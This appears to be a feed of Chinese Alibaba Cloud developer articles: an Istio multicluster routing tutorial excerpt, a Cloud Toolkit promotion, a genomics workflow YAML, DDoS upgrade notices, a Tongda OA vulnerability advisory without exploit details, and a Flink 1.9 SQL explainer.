    如果设置正确,则在返回的调用结果中可以看到两个版本的 helloworld 服务,同时可以通过查看 sleep 容器组中的 istio-proxy 容器日志来验证访问的端点 IP 地址,返回结果如下所示:

    8.png

    4.验证 Istio 路由规则是否生效。

    创建针对上述两个版本的 helloworld 服务的路由规则,以便验证 Istio 配置是否可以正常工作。

    创建 Istio 虚拟服务 VirtualService,执行如下命令:

    kubectl
    apply -n app1 -f multicluster/helloworld/virtualservice.yaml

    接着,创建 Istio 目标规则 DestinationRule:

    • 如果启用了双向 TLS 通信,则需要如下配置参数:
    kubectl
    apply -n app1 -f multicluster/helloworld/destinationrule.yaml
    • 如果不需要启用双向 TLS 通信,配置参数则需要做出修改,在 YAML 定义中添加trafficPolicy.tls.mode:ISTIO_MUTUAL,定义如下所示:
    apiVersion:
    networking.istio.io/v1alpha3
    kind:
    DestinationRule
    metadata:
      name: helloworld
    spec:
      host: helloworld
      **trafficPolicy:
      tls:
        mode: ISTIO_MUTUAL**
      subsets:
      - name: v1
      labels:
        version: v1
      - name: v2
      labels:
        version: v2

    通过执行命令 kubectl apply 创建启用双向 TLS 的 Istio 目标规则,如下所示:

    kubectl
    apply -n app1 -f multicluster/helloworld/destinationrule-auth.yaml

    多次调用 helloworld 服务,只会返回版本 v2 的响应结果,如下所示:

    9.png

    《Istio服务网格技术解析与实战》读者可免费体验 ASM 产品进行学习!点击了解阿里云服务网格产品 ASM:www.aliyun.com/product/servicemesh

    作者简介

    王夕宁 阿里云高级技术专家,阿里云服务网格产品 ASM 及 Istio on Kubernetes 技术负责人,专注于 Kubernetes、云原生、服务网格等领域。曾在 IBM 中国开发中心工作,担任过专利技术评审委员会主席,拥有 40 多项相关领域的国际技术专利。《Istio 服务网格解析与实战》一书由其撰写,详细介绍了 Istio 的基本原理与开发实战,包含大量精选案例和参考代码可以下载,可快速入门 Istio 开发。Gartner 认为,2020 年服务网格将成为所有领先的容器管理系统的标配技术。本书适合所有对微服务和云原生感兴趣的读者,推荐大家对本书进行深入的阅读。

    4.27尾图.png

    赠书福利

    4 月 30 日 10:00 前在阿里巴巴云原生公众号文章留言区写下对阿里云服务网格产品 ASM 的想法或是对服务网格技术 Istio 的疑惑

    • 收获赞最多的前 3 名,将获得《Istio 服务网格技术解析与实践》一书 ;
    • 收获赞最多的第 4-6 名,将获得阿里云数据线;
    • 收获赞最多的第 7-10 名,将获得 CNCF 官方正版指尖陀螺。

    阿里巴巴云原生关注微服务、Serverless、容器、Service Mesh 等技术领域、聚焦云原生流行技术趋势、云原生大规模的落地实践,做最懂云原生开发者的公众号。”

    ]]>
    IDEA 中 30 秒生成 Spring Cloud Alibaba 工程 Fri, 02 May 2025 09:39:04 +0800 1.png

    作者 | 图恩  阿里云技术专家

    如果你想使用 Spring Cloud Alibaba,那么你遇到的第一个问题一定是如何快速的创建一个脚手架工程。

    近日,阿里巴巴发布了 Spring 的国内脚手架定制版 Aliyun Java Initializer,因为全中文界面和流畅速度,被广大开发者热传。Spring 脚手架为开发者提供了丰富的可选组件,并且可以选择多种打包方式,大大方便了开发人员的使用。Web 端 Spring 脚手架可以帮助用户快速上手,但很多开发者也面临一个问题:在 Web 版本 Spring 脚手架生成工程最终要导入 IDE 中,开发者需要进行 IDE 切换,在一定程度上,增加了开发时间。

    无需切换 IDE

    为了更加贴近用户开发场景,提高开发效率,让开发者无需从 IDE 切换出去,通过插件功能 30 秒直接生成 Spring Cloud Alibaba 工程,自动导入。我们在本地 IDE 插件 Alibaba Cloud Toolit 中提供了与 Spring 脚手架定制版 Aliyun Java Initializer一样的功能,让你无需切换,30 秒一键生成 Spring Cloud Alibaba 工程。

    Cloud Toolkit 四步创建 Spring Cloud Alibaba 框架

    如果还没有安装过 Cloud Toolkit,可以在 IDEA 插件市场搜索我们的插件进行安装。安装之后,就可以直接使用创建 Spring Cloud Alibaba 脚手架工程的功能了。

    1.在新建工程的面板左侧找到 Alibaba Java Initializer,选择工程 SDK,点击下一步;

    2.png

    2.选择工程元数据,目前我们支持 maven 和 gradle 两种构建方式,Java,Kotlin 和 Groovy 三种开发语言,选择好元数据后点击下一步;

    3.png

    3.选择工程的依赖组件,我们提供了非常丰富的依赖组件,左侧是组件的类别,基本涵盖开发一个系统需要的基础依赖,如果你有特殊的需求,可以给我们留言。中间是具体的组件,有组件的基本介绍和相关文档链接。选择好依赖组件后,点击下一步;

    4.png

    4.点击完成,Cloud Toolkit 就自动完成工程的创建和导入了,只需 4 步,就可以愉快的体验 Spring Cloud Alibaba了。

    一键部署神器 Cloud Toolkit

    Cloud Toolkit 是阿里云发布的免费本地 IDE 插件,帮助开发者更高效地开发、测试、诊断并部署应用。通过插件,可以将本地应用一键部署到任意服务器,甚至云端(ECS、EDAS、ACK、ACR 和 小程序云等);并且还内置了 Arthas 诊断、Dubbo工具、Terminal 终端、文件上传、函数计算 和 MySQL 执行器等工具。目前已支持 IntelliJ IDEA 主流版本、 Eclipse、Pycharm、Maven、VSCode 版本。

    大家可以在各个IDE(IntelliJ,Goland,PyCharm,Eclipse,Visual Studio Code)搜索“Alibaba Cloud Toolkit”,即可安装。

    相比传统的开发和部署模式,Cloud Toolkit 的所有能力均采用了嵌入到本地IDE的创新方式,这样能够最大限度的减少开发者在不同工具间切换的成本。在开发和部署这个环节上,Cloud Toolkit 能够将原本每次 7-8 分钟的繁琐工作,大大缩短到 20 秒内,开发者可以非常方便的在IDE 内,一键完成应用程序的部署工作。关于传统方案和 Cloud Toolkit 方案的对比,如下图所示:

    5.png

    此外,Cloud Toolkit还提供了大量云原生开发过程中的提效工具,还包括一些常用的功能,比如:

    • 本地 IDE 内项目一键部署到任意远程服务器
    • 本地 IDE 内项目一键部署到任意 Kubernetes
    • 本地 IDE 内项目一键打包并推送 Docker 镜像到阿里云镜像仓库
    • 本地 IDE 内项目一键部署到阿里云ECS、EDAS、SAE 、Web+、小程序云和ACK
    • 内置 Terminal 终端
    • 文件上传器
    • 查看远程服务器运行时日志
    • 阿里云小程序开发工具
    • 阿里云函数计算开发工具
    • 内置 SQL 执行器
    • Apache Dubbo 和 Spring Cloud 框架项目模板&代码生成
    • 远程 Java 程序运行时诊断工具
    • 微服务远程调试

    点击了解产品详情:https://cn.aliyun.com/product/cloudtoolkit

    欢迎加入 Cloud  Toolkit 钉钉交流群

    6.png

    钉钉扫描上方二维码,立即开始交流

    阿里巴巴云原生关注微服务、Serverless、容器、Service Mesh 等技术领域、聚焦云原生流行技术趋势、云原生大规模的落地实践,做最懂云原生开发者的公众号。”

    ]]>
    阿里云AGS使用最佳实践 - Remote API与专有集群混部 Fri, 02 May 2025 09:39:04 +0800 实际测序任务中,您可能期望使用阿里云AGS Remote Api来实现Mapping流程,而获取Bam数据后续的Call操作期望在自己集群实现,本方案将讨论如何使远程的API调用和专有集群中的后续流程结合使用。

    系统原理:

    整个测序流程通过一个本地AGS工作流完成:工作流中嵌入一个或多个task,并调用Remote Api完成Fastq的Mapping流程;获取Bam文件后,本地工作流来完成后续测序任务。

    流程解读:

    image.png

    上述系统包括几个部分:

    用户IDC环境:包括测序仪系统、本地数据缓存、操作机;

    用户的阿里云基因集群:用户在ACK中申请的K8S专有集群;

    阿里云RemoteApi系统:通过API提供Mapping服务;

    阿里云OSS服务:用于保存用户源数据、中间Bam数据、最终的vcf数据;

    操作流程:

    1. 用户IDC环境内,基因数据下线暂存;
    2. 用户通过数据传输工具(Ossutil)将待处理的fastq数据上传到阿里云OSS存储服务(用户账号下的OSS);
    3. 用户通过AGS命令行工具,像用户的专有集群提交测序服务;
    4. 测序工作流的task1:向阿里云AGS服务提交RemoteApi请求,执行fastq数据的Mapping服务,task1等待mapping服务完成后再执行后面的任务;
    5. AGS Mapping服务会下载fastq数据,对比完成后会将bam数据上传到oss;
    6. 用户工作流完成剩余的任务,下载bam文件、执行call变异、上传最终数据等;

    环境准备:

    1. AGS命令行下载地址:

    详见:https://help.aliyun.com/document_detail/148762.html

    1. OSS数据授权:

    详见:https://help.aliyun.com/document_detail/148762.html

    1. Fastq数据上传

    详见:https://help.aliyun.com/document_detail/148762.html

    任务提交:

    提交混合方式的工作流,需要您编辑自己的工作流YAML模板,示例如下:

    1. 模板示例:

    具体应用需要根据业务进行定制,例如:
    使用什么RemoteApi接口?
    在什么位置调用?
    具体的调用参数是什么?
    在专有集群中执行什么任务?
    等等,

    下面示例,描述如何在一个工作流中即包含RemoteApi的调用,并进行专有集群任务的调用:

    apiVersion: argoproj.io/v1alpha1
    kind: Workflow                  #new type of k8s spec
    metadata:
      generateName: mpileup-    #name of workflow spec
    spec:
      entrypoint: mpileup         #invoke the whalesay template
      arguments:
        parameters:
        - name: AKID
          value: ""
        - name: AKSEC
          value: ""
        - name: OSSURL
          value: "oss-cn-shenzhen-internal.aliyuncs.com"
    
        # fastq define
        - name: region
          value: "cn-shenzhen"
        - name: bucket
          value: "shenzhen"
        - name: fastq1
          value: "fastq/MGISEQ2000/MGISEQ2000_PCR-free_NA12878_1_V100003043_L01_1.fq.gz"
        - name: fastq2
          value: "fastq/MGISEQ2000/MGISEQ2000_PCR-free_NA12878_1_V100003043_L01_2.fq.gz"
    
        # gene define
        - name: bamFile
          value: "output/bam/gene.bam"
        - name: cpuNumber
          value: "32"
        - name: vcfFileName
          value: "gene.vcf"
        - name: service
          value: "s"
    
      templates:
      - name: agsmapping
        container:
          image: registry.cn-hangzhou.aliyuncs.com/aliyun-gene-service/ags-cli:v1.0.1-a5a06af
          imagePullPolicy: Always
          command: [bash,-c]
          args:
          - region={{workflow.parameters.region}};
            akID={{workflow.parameters.AKID}};
            akSec={{workflow.parameters.AKSEC}};
            akSecAuth=`echo -n $akSec | base64`;
            mkdir -p /root/.ags; echo "{"region":"cn-beijing","access_key_id":"$akID","access_key_secret":"$akSecAuth","cluster_id":"","kubectl_location":""}" > /root/.ags/config;
            ags remote run mapping --region $region --fastq1 {{workflow.parameters.fastq1}} --fastq2 {{workflow.parameters.fastq2}} --bucket {{workflow.parameters.bucket}} --output-bam {{workflow.parameters.bamFile}} --markdup "true" --service {{workflow.parameters.service}} --reference=hg19 &> ags.log;
            sucessline=`cat ags.log | awk -FJobName '{print $2}' | awk -F" '{print $3}'`;
            if [ "$sucessline" = "" ]; then
                echo "ags submit with error "$res;
                exit 1;
            fi;
            taskName=${sucessline:0:-1};
    
            for ((i=0; i<100; i++));
            do
                success=`ags remote get $taskName | grep Succeeded | wc -l`;
                if [ "$success" = "1" ]; then
                    echo "ags task successful";
                    break;
                fi;
                echo "exec command ags remote get $taskName";
                sleep 60;
            done;
    
      - name: mpileupprepare
        container:
          image: registry.cn-shenzhen.aliyuncs.com/plugins/gene-tools:ags-hunhe
          imagePullPolicy: Always
          command: [sh,-c]
          args:
          - ossutil config -e {{workflow.parameters.OSSURL}} -i {{workflow.parameters.AKID}} -k {{workflow.parameters.AKSEC}};
            bamFile={{workflow.parameters.bamFile}};
            bamRootDir=/data;
            mkdir -p $bamRootDir/$bamFile;
            ossutil cp --parallel=100 oss://{{workflow.parameters.bucket}}/$bamFile $bamRootDir/$bamFile;
            samtools view $bamRootDir/$bamFile/`basename $bamFile`;
          resources:
            requests:
              memory: 2Gi
              cpu: 2
    
      - name: mpileup
        dag:
          tasks:
          - name: agsmappingtask
            template: agsmapping
    
          - name: tasks-prepare
            dependencies: [agsmappingtask]
            template: mpileupprepare

    过ags命令行工具提交工作流,参考文档:https://help.aliyun.com/document_detail/121342.html

    工作流编排模板,一般可以有两部分:RemoteApi部分 + 专有集群任务部分;
    例如编排模板可以有如下任务:

    任务1:调用RemoteApi执行fastq数据的mapping流程,并等待mapping结束;

    任务2:下载任务1生成的数据,并执行samtools view处理命令;

    其中:registry.cn-hangzhou.aliyuncs.com/aliyun-gene-service/ags-cli:v1.0.1-a5a06af 为包含了ags命令行工具的镜像,可以直接使用。

    2. Remote Api命令解析:

    AGS RemoteAPI提交命令如下:

    ags remote run mapping 
    --region cn-shenzhen # region of oss, e.g. cn-shenzhen, cn-beijing and etc
    --fastq1 MGISEQ/MGISEQ2000_PCR-free_NA12878_1_V100003043_L01_1.fq.gz # filename of fastq pair 2, fastq-pathfilename 
    --fastq2 MGISEQ/MGISEQ2000_PCR-free_NA12878_1_V100003043_L01_2.fq.gz  # filename of fastq pair 1
    --bucket my-test-shenzhen # Bucket name
    --output-bam bam/MGISEQ_NA12878_hs37d5.bam # Output filename of BAM 
    --service "g" #SLA: [n:normal|s:silver|g:gold|p:platinum]
    --markdup [true|false|default true] #Mark Duplicated, by default true
    --reference [hg19|hg38|<reference path on OSS>]

    service:提供服务等级,n为普通模式,处理速度较慢;s、g、p提供的服务使用更小的时间;

    ]]>
    【升级】4月22日DDoS高防(国际)升级通知(更新) Fri, 02 May 2025 09:39:04 +0800

    【阿里云】【DDoS高防(国际)】【升级通知】

    升级窗口:(已更新)北京时间 2020年4月22日 00:00-06:00

    升级内容:DDoS高防(国际)加速线路进行网络升级操作
    升级影响:升级期间,部分IP需要重新连接,会导致TCP连接闪断2-3次。闪断对短连接和具备自动重连的长连接业务基本无影响,请确保您在业务上做好重连重试机制,以增强业务的容错能力。

    给您带来的不便敬请谅解,有任何问题,可点击联系我们进行咨询反馈。

    ]]>
    【升级】4月23日DDoS高防(国际)升级通知 Fri, 02 May 2025 09:39:04 +0800

    【阿里云】【DDoS高防(国际)】【升级通知】

    升级窗口:北京时间 2020年4月23日 23:00- 24日 03:00

    升级内容:DDoS高防(国际)进行网络升级操作
    升级影响:升级期间,部分IP需要重新连接,会导致TCP连接闪断2-3次。闪断对短连接和具备自动重连的长连接业务基本无影响,请确保您在业务上做好重连重试机制,以增强业务的容错能力。

    给您带来的不便敬请谅解,有任何问题,可点击联系我们进行咨询反馈。

    ]]>
    【升级】4月、5月DDoS高防(国际)升级通知 Fri, 02 May 2025 09:39:04 +0800

    【阿里云】【DDoS高防(国际)】【升级通知】

    升级窗口:

    北京时间 2020年4月28日 14:00 - 18:00

    北京时间 2020年4月30日 00:00 - 04:00

    北京时间 2020年5月7日 09:00 - 12:00

    北京时间 2020年5月12日 15:00 - 19:00

    北京时间 2020年5月15日 00:00 - 04:00

    北京时间 2020年5月19日 00:00 - 04:00

    升级内容:DDoS高防(国际)进行网络升级操作
    升级影响:升级期间,部分IP需要重新连接,会导致TCP连接闪断2-3次。闪断对短连接和具备自动重连的长连接业务基本无影响,请确保您在业务上做好重连重试机制,以增强业务的容错能力。

    给您带来的不便敬请谅解,有任何问题,可点击联系我们进行咨询反馈。

    ]]>
    【漏洞预警】通达OA任意用户登录漏洞 Fri, 02 May 2025 09:39:04 +0800

    2020年4月20日,阿里云应急响应中心监测到通达OA官方于4月17日发布安全更新。该次安全更新修复了包括任意用户登录在内的高危漏洞。


    漏洞描述

    通达OA是一套办公系统。通达OA官方于4月17日发布安全更新。经分析,在该次安全更新中修复了包括任意用户登录在内的高危漏洞。攻击者通过构造恶意请求,可以直接绕过登录验证逻辑,伪装为系统管理员身份登录OA系统。阿里云应急响应中心提醒通达OA用户尽快采取安全措施阻止漏洞攻击。


    影响版本

    通达OA < 11.5.200417版本


    安全版本

    通达OA >= 11.5.200417版本


    安全建议

    通达OA官方已经发布相应安全加固程序,请根据当前OA版本选择所对应的程序文件,运行前请先做好备份。

    安全更新下载地址:https://www.tongda2000.com/download/sp2019.php#OfficeAuto



    阿里云云安全中心应急漏洞模块已支持对该漏洞一键检测
    阿里云WAF已可防御此漏洞攻击


    我们会关注后续进展,请随时关注官方公告。

    如有任何问题,可随时通过工单或服务电话95187联系反馈。

    阿里云应急响应中心

    2020.4.20

    ]]>
    Flink SQL 的 9 个示例-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 作者:贺小令(晓令)

    本文由阿里巴巴技术专家贺小令分享,社区志愿者郑仲尼整理。文章基于 Flink 1.9 版本,从用户的角度来讲解 Flink 1.9 版本中 SQL 相关原理及部分功能变更,希望对大家有所帮助。主要内容分享以下三个部分:

    1. TableEnvironment 的设计与使用场景
    2. Catalog 的设计以及 DDL 实践
    3. Blink Planner 的几点重要改进及优化

    TableEnvironment

    FLIP-32 中提出,将 Blink 完全开源,合并到 Flink 主分支中。合并后在 Flink 1.9 中会存在两个 Planner:Flink Planner 和 Blink Planner。

    在之前的版本中,Flink Table 在整个 Flink 中是一个二等公民。而 Flink SQL 具备的易用性、使用门槛低等特点深受用户好评,越来越被重视,Flink Table 模块也因此被提升为一等公民。而 Blink 在设计之初就考虑到流和批的统一,批只是流的一种特殊形式,所以可以用同一个TableEnvironment来表述流和批。

    TableEnvironment 整体设计

    640.png

    图1 新 Table Environment 整体设计

    从图 1 中,可以看出,TableEnvironment 组成部分如下:

    • flink-table-common:这个包中主要是包含 Flink Planner 和 Blink Planner 一些共用的代码。
    • flink-table-api-java:这部分是用户编程使用的 API,包含了大部分的 API。
    • flink-table-api-scala:这里只是非常薄的一层,仅和 Table API 的 Expression 和 DSL 相关。
    • 两个 Planner:flink-table-planner 和 flink-table-planner-blink。
    • 两个 Bridge:flink-table-api-scala-bridge 和 flink-table-api-java-bridge,从图中可以看出,Flink Planner 和 Blink Planner 都会依赖于具体的 JAVA API,也会依赖于具体的 Bridge,通过 Bridge 可以将 API 操作相应的转化为 Scala 的 DataStream、DataSet,或者转化为 JAVA 的 DataStream 或者 Data Set。

    新旧 TableEnvironment 对比

    在 Flink 1.9 之前,原来的 Flink Table 模块,有 7 个 Environment,使用和维护上相对困难。7 个 Environment 包括:StreamTableEnvironment、BatchTableEnvironment 两类,JAVA 和 Scala 分别 2 个,一共 4 个,加上 3 个父类,一共就是 7 个。

    在新的框架之下,社区希望流和批统一,因此对原来的设计进行精简。首先,提供统一的 TableEnvironment,放在 flink-table-api-java 这个包中。然后,在 Bridge 中,提供了两个用于衔接 Scala DataStream 和 Java DataStream 的 StreamTableEnvironment。最后,因为 Flink Planner 中还残存在着 toDataSet() 类似的操作,所以,暂时保留 BatchTableEnvironment。这样,目前一共是 5 个 TableEnvironment。

    因为未来 Flink Planner 将会被移除,BatchTableEnvironment 就会被废弃,整个 TableEnvironment 的设计也会更加简洁明了。

    新 TableEnvironment 的应用

    本节中,将介绍新的应用场景以及相关限制。下图详细列出了新 TableEnvironment 的适用场景:

    640 - 2.png

    图2 新 Table Environment 适应场景

    第一行,简单起见,在后续将新的 TableEnvironment 称为 UnifyTableEnvironment。在 Blink 中,Batch 被认为是 Stream 的一个特例,因此 Blink 的 Batch 可以使用 UnifyTableEnvironment。

    UnifyTableEnvironment 在 1.9 中有一些限制,比如它不能够注册 UDAF 和 UDTF,当前新的 Type System 的类型推导功能还没有完成(Java、Scala 的类型推导还没统一),所以这部分的功能暂时不支持。此外,UnifyTableEnvironment 无法和 DataStream 和 DataSet 互转。

    第二行,Stream TableEnvironment 支持转化成 DataStream,也可以注册 UDAF 和 UDTF。如果是 JAVA 写的,就注册到 JAVA 的 StreamTableEnvironment,如果是用 Scala 写的,就注册到 Scala 的 StreamTableEnvironment。

    注意,Blink Batch 作业不支持 Stream TableEnvironment ,因为目前 Batch 没法和 DataStream 互转,所以 toDataStream() 这样的语义暂时不支持。从图中也可以看出,目前Blink Batch只能使用 TableEnvironment。

    最后一行,BatchTableEvironment 能够使用 toDataSet() 转化为 DataSet。

    从上面的图 2 中,可以很清晰的看出各个 TableEnvironment 能够做什么事情,以及他们有哪些限制。

    接下来,将使用示例对各种情况进行说明。

    示例1:Blink Batch

    EnvironmentSettings settings = EnvironmentSettings.newInstance().useBlinkPlanner().inBatchMode().build();
    TableEnvironment tEnv = TableEnvironment.create(settings);
    tEnv…
    tEnv.execute(“job name”);

    从图 2 中可以看出,Blink Batch 只能使用 TableEnvironment(即UnifyTableEnvironment),代码中,首先需要创建一个 EnvironmentSetting,同时指定使用 Blink Planner,并且指定用 Batch 模式。之所以需要指定 Blink Planner,是因为目前 Flink 1.9 中,将 Flink Planner 和 Blink Planner 的 jar 同时放在了 Flink 的 lib 目录下。如果不指定使用的 Planner,整个框架并不知道需要使用哪个 Planner,所以必须显示的指定。当然,如果 lib 下面只有一个 Planner 的 jar,这时不需要显示指定使用哪个 Planner。

    另外,还需要注意的是在 UnifyEnvironment 中,用户是无法获取到 ExecutionEnvironment 的,即用户无法在写完作业流程后,使用 executionEnvironment.execute() 方法启动任务。需要显式的使用 tableEnvironment.execute() 方法启动任务,这和之前的作业启动很不相同。

    示例 2:Blink Stream

    EnvironmentSettings settings = EnvironmentSettings.newInstance().useBlinkPlanner().inStreamingMode().build();
    StreamExecutionEnvironment execEnv = …
    StreamTableEnvironment tEnv =  StreamTableEnvironment.create(execEnv, settings);
    tEnv…

    Blink Stream 既可以使用 UnifyTableEnvironment,也可以使用 StreamTableEnvironment,与 Batch 模式基本类似,只是需要将 inBatchMode 换成 inStreamingMode。

    示例 3:Flink Batch

    ExecutionEnvironment execEnv = ...
    BatchTableEnvironment tEnv = BatchTableEnvironment.create(execEnv);
    tEnv...

    与之前没有变化,不做过多介绍。

    示例 4:Flink Stream

    EnvironmentSettings settings = EnvironmentSettings.newInstance().useOldPlanner().inStreamMode().build();
    TableEnvironment tEnv = TableEnvironment.create(settings);
    tEnv…
    tEnv.execute(“job name”);

    Flink Stream 也是同时支持 UnifyEnvironment 和 StreamTableEnvironment,只是在指定 Planner 时,需要指定为 useOldPlanner,也即 Flink Planner。因为未来 Flink Planner 会被移除,因此,特意起了一个 OlderPlanner 的名字,而且只能够使用 inStreamingMode,无法使用 inBatchMode。

    Catalog 和 DDL

    构建一个新的 Catalog API 主要是 FLIP-30 提出的,之前的 ExternalCatalog 将被废弃,Blink Planner 中已经不支持 ExternalCatalog 了,Flink Planner 还支持 ExternalCatalog。

    新 Catalog 设计

    下图是新 Catalog 的整体设计:

    640 3.png
    图3 新 Catalog 设计

    可以看到,新的 Catalog 有三层结构(..),最顶层是 Catalog 的名字,中间一层是 Database,最底层是各种 MetaObject,如 Table,Partition,Function 等。当前,内置了两个 Catalog 实现:MemoryCatalog 和 HiveCatalog。当然,用户也可以实现自己的 Catalog。

    Catalog 能够做什么事情呢?首先,它可以支持 Create,Drop,List,Alter,Exists 等语句,另外它也支持对 Database,Table,Partition,Function,Statistics 等的操作。基本上,常用的 SQL 语法都已经支持。

    CatalogManager 正如它名字一样,主要是用来管理 Catalog,且可以同时管理多个 Catalog。也就是说,可以通过在一个相同 SQL 中,跨 Catalog 做查询或者关联操作。例如,支持对 A Hive Catalog 和 B Hive Catalog 做相互关联,这给 Flink 的查询带来了很大的灵活性。

    CatalogManager 支持的操作包括:

    • 注册 Catalog(registerCatalog)
    • 获取所有的 Catalog(getCatalogs)
    • 获取特定的 Catalog(getCatalog)
    • 获取当前的 Catalog(getCurrentCatalog)
    • 设置当前的 Catalog(setCurrentCatalog)
    • 获取当前的 Database(getCurrentDatabase)
    • 设置当前的 Database(setCurrentDatabase)

    Catalog 虽然设计了三层结构,但在使用的时候,并不需要完全指定三层结构的值,可以只写Table Name,这时候,系统会使用 getCurrentCatalog,getCurrentDatabase 获取到默认值,自动补齐三层结构,这种设计简化了对 Catalog 的使用。如果需要切换默认的 Catalog,只需要调用 setCurrentCatalog 就可以了。

    在 TableEnvironment 层,提供了操作 Catalog 的方法,例如:

    • 注册 Catalog(registerCatalog)
    • 列出所有的 Catalog(listCatalogs)
    • 获取指定 Catalog(getCatalog)
    • 使用某个 Catalog(useCatalog)

    在 SQL Client 层,也做了一定的支持,但是功能有一定的限制。用户不能够使用 Create 语句直接创建 Catalog,只能通过在 yarn 文件中,通过定义 Description 的方式去描述 Catalog,然后在启动 SQL Client 的时候,通过传入 -e +file_path 的方式,定义 Catalog。目前 SQL Client 支持列出已定义的 Catalog,使用一个已经存在的 Catalog 等操作。

    DDL 设计与使用

    有了 Catalog,就可以使用 DDL 来操作 Catalog 的内容,可以使用 TableEnvironment 的 sqlUpdate() 方法执行 DDL 语句,也可以在 SQL Client 执行 DDL 语句。

    sqlUpdate() 方法中,支持 Create Table、Create View、Drop Table、Drop View 四个命令。当然,inset into 这样的语句也是支持的。

    下面分别对 4 个命令进行说明:

    • Create Table:可以显示的指定 Catalog Name 或者 DB Name,如果缺省,那就按照用户设定的 Current Catalog 去补齐,然后可以指定字段名称,字段的说明,也可以支持 Partition By 语法。最后是一个 With 参数,用户可以在此处指定使用的 Connector,例如,Kafka,CSV,HBase 等。With 参数需要配置一堆的属性值,可以从各个 Connector 的 Factory 定义中找到。Factory 中会指出有哪些必选属性,哪些可选属性值。

    需要注意的是,目前 DDL 中,还不支持计算列和 Watermark 的定义,后续的版本中将会继续完善这部分。

    Create Table [[catalog_name.]db_name.]table_name(
      a int comment 'column comment',
      b bigint,
      c varchar
    )comment 'table comment'
    [partitioned by(b)]
    With(
        update-mode='append',
        connector.type='kafka',
        ...
    )
    • Create View:需要指定 View 的名字,然后紧跟着的是 SQL。View 将会存储在 Catalog 中。
    CREATE VIEW view_name AS SELECT xxx
    • Drop Table&Drop View:和标准 SQL 语法差不多,支持使用 IF EXISTS 语法,如果未加 IF EXISTS ,Drop 一个不存在的表,会抛出异常。
    DROP TABLE [IF EXISTS] [[catalog_name.]db_name.]table_name
    • SQL Client 中执行 DDL:大部分都只支持查看操作,仅可以使用 Create View 和 Drop View。Catalog,Database,Table ,Function 这些只能做查看。用户可以在 SQL Client 中 Use 一个已经存在的 Catalog,修改一些属性,或者做 Description,Explain 这样的一些操作。
    CREATE VIEW
    DROP VIEW
    SHOW CATALOGS/DATABASES/TABLES/FUNCTIONS l USE CATALOG xxx
    SET xxx=yyy
    DESCRIBE table_name
    EXPLAIN SELECT xxx

    DDL 部分,在 Flink 1.9 中其实基本已经成型,只是还有一些特性,在未来需要逐渐的完善。

    Blink Planner

    本节将主要从 SQL/Table API 如何转化为真正的 Job Graph 的流程开始,让大家对 Blink Planner 有一个比较清晰的认识,希望对大家阅读 Blink 代码,或者使用 Blink 方面有所帮助。然后介绍 Blink Planner 的改进及优化。

    640 4.png

    图4 主要流程

    从上图可以很清楚的看到,解析的过程涉及到了三层:Table API/SQL,Blink Planner,Runtime,下面将对主要的步骤进行讲解。

    • Table API&SQL 解析验证:在 Flink 1.9 中,Table API 进行了大量的重构,引入了一套新的 Operation,这套 Operation 主要是用来描述任务的 Logic Tree。

    当 SQL 传输进来后,首先会去做 SQL 解析,SQL 解析完成之后,会得到 SqlNode Tree(抽象语法树),然后会紧接着去做 Validate(验证),验证时会去访问 FunctionManger 和 CatalogManger,FunctionManger 主要是查询用户定义的 UDF,以及检查 UDF 是否合法,CatalogManger 主要是检查这个 Table 或者 Database 是否存在,如果验证都通过,就会生成一个 Operation DAG(有向无环图)。

    从这一步可以看出,Table API 和 SQL 在 Flink 中最终都会转化为统一的结构,即 Operation DAG。

    • 生成RelNode:Operation DAG 会被转化为 RelNode(关系表达式) DAG。

    优化:优化器会对 RelNode 做各种优化,优化器的输入是各种优化的规则,以及各种统计信息。当前,在 Blink Planner 里面,绝大部分的优化规则,Stream 和 Batch 是共享的。差异在于,对 Batch 而言,它没有 state 的概念,而对于 Stream 而言,它是不支持 sort 的,所以目前 Blink Planner 中,还是运行了两套独立的规则集(Rule Set),然后定义了两套独立的 Physical Rel:BatchPhysical Rel 和 StreamPhysical Rel。优化器优化的结果,就是具体的 Physical Rel DAG。

    • 转化:得到 Physical Rel Dag 后,继续会转化为 ExecNode,通过名字可以看出,ExecNode 已经属于执行层的概念了,但是这个执行层是 Blink 的执行层,在 ExecNode 中,会进行大量的 CodeGen 的操作,还有非 Code 的 Operator 操作,最后,将 ExecNode 转化为 Transformation DAG。
    • 生成可执行 Job Graph:得到 Transformation DAG 后,最终会被转化成 Job Graph,完成 SQL 或者 Table API 的解析。

    Blink Planner 改进及优化

    Blink Planner 功能方面改进主要包含如下几个方面:

    • 更完整的 SQL 语法支持:例如,IN,EXISTS,NOT EXISTS,子查询,完整的 Over 语句,Group Sets 等。而且已经跑通了所有的 TPCH,TPCDS 这两个测试集,性能还非常不错。
    • 提供了更丰富,高效的算子。
    • 提供了非常完善的 cost 模型,同时能够对接 Catalog 中的统计信息,使 cost 根据统计信息得到更优的执行计划。
    • 支持 join reorder。
    • shuffle service:对 Batch 而言,Blink Planner 还支持 shuffle service,这对 Batch 作业的稳定性有非常大的帮助,如果遇到 Batch 作业失败,通过 shuffle service 能够很快的进行恢复。

    性能方面,主要包括以下部分:

    • 分段优化。
    • Sub-Plan Reuse。
    • 更丰富的优化 Rule:共一百多个 Rule ,并且绝大多数 Rule 是 Stream 和 Batch 共享的。
    • 更高效的数据结构 BinaryRow:能够节省序列化和反序列化的操作。
    • mini-batch 支持(仅 Stream):节省 state 的访问的操作。
    • 节省多余的 Shuffle 和 Sort(Batch 模式):两个算子之间,如果已经按 A 做 Shuffle,紧接着他下的下游也是需要按 A Shuffle 的数据,那中间的这一层 Shuffle,就可以省略,这样就可以省很多网络的开销,Sort 的情况也是类似。Sort 和 Shuffle 如果在整个计算里面是占大头,对整个性能是有很大的提升的。

    深入性能优化及实践

    本节中,将使用具体的示例进行讲解,让你深入理解 Blink Planner 性能优化的设计。

    ■ 分段优化

    示例 5

    create view MyView as select word, count(1) as freq from SourceTable group by word; insert into SinkTable1 select * from MyView where freq >10;
    insert into SinkTable2 select count(word) as freq2, freq from MyView group by freq;

    上面的这几个 SQL,转化为 RelNode DAG,大致图形如下:

    640 5-1.png

    图5 示例5 RelNode DAG

    如果是使用 Flink Planner,经过优化层后,会生成如下执行层的 DAG:

    640 5.png

    图6 示例 5 old planner DAG

    可以看到,old planner 只是简单的从 Sink 出发,反向的遍历到 Source,从而形成两个独立的执行链路,从上图也可以清楚的看到,Scan 和第一层 Aggregate 是有重复计算的。

    在 Blink Planner 中,经过优化层之后,会生成如下执行层的 DAG:

    640 7.png

    图7 示例 5 Blink Planner DAG

